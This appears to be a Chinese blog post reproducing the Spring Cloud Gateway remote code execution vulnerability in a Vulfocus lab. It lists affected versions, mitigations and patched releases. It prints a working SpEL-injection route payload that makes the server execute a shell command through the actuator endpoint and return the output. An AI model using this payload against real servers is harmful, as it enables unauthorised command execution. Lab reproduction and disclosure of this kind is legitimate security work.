Spring-Cloud-Gateway远程代码执行漏洞复现

Spring-Cloud-Gateway远程代码执行漏洞复现

前言

Spring Cloud Gateway 是基于 Spring Framework 和 Spring Boot 构建的 API 网关,它旨在为微服务架构提供一种简单、有效、统一的 API 路由管理方式。
据公告描述,当启用和暴露 Gateway Actuator 端点时,使用 Spring Cloud Gateway 的应用程序可受到代码注入攻击。攻击者可以发送特制的恶意请求,从而远程执行任意代码。

影响版本

1
2
3
3.1.0
3.0.0至3.0.6
3.0.0之前的版本

漏洞复现

靶场搭建可以使用vulhub进行漏洞复现,vulhub上针对该漏洞已经进行更新,还可以通过其他靶场环境进行漏洞复现。这里使用Vulfocus靶场环境进行复现。

靶场环境

http://vulfocus.io/#/dashboard?image_id=711335fd-33d8-4a68-b5aa-235d30ded5e2

如下图;

访问映射端口

漏洞探测

访问端口actuator,可以看到返回spring中存在可访问的端点,可发现存在gateway端点

下面对漏洞点/actuator/gateway/routes/EchoSec添加恶意的路由

payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
{
"id": "EchoSec",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
//id为需要执行的命令,可设置其他命令执行
}
}],
"uri": "http://example.com"
}

然后请求reflesh刷新配置

再次请求/actuator/gateway/routes/EchoSec,服务器返回服务器id值

修复建议

官方已发布漏洞补丁及修复版本,请评估业务是否受影响后,酌情升级至安全版本

1
2
Spring Cloud Gateway >= 3.1.1
Spring Cloud Gateway >= 3.0.7

临时缓解措施:

1.如果不需要Gateway actuator endpoint,可通过 management.endpoint.gateway.enabled: false 禁用它。

2.如果需要actuator,则应使用 Spring Security 对其进行防护

可参考:https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator.endpoints.security。

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2024 John Doe
  • 访问人数: | 浏览次数:

让我给大家分享喜悦吧!

微信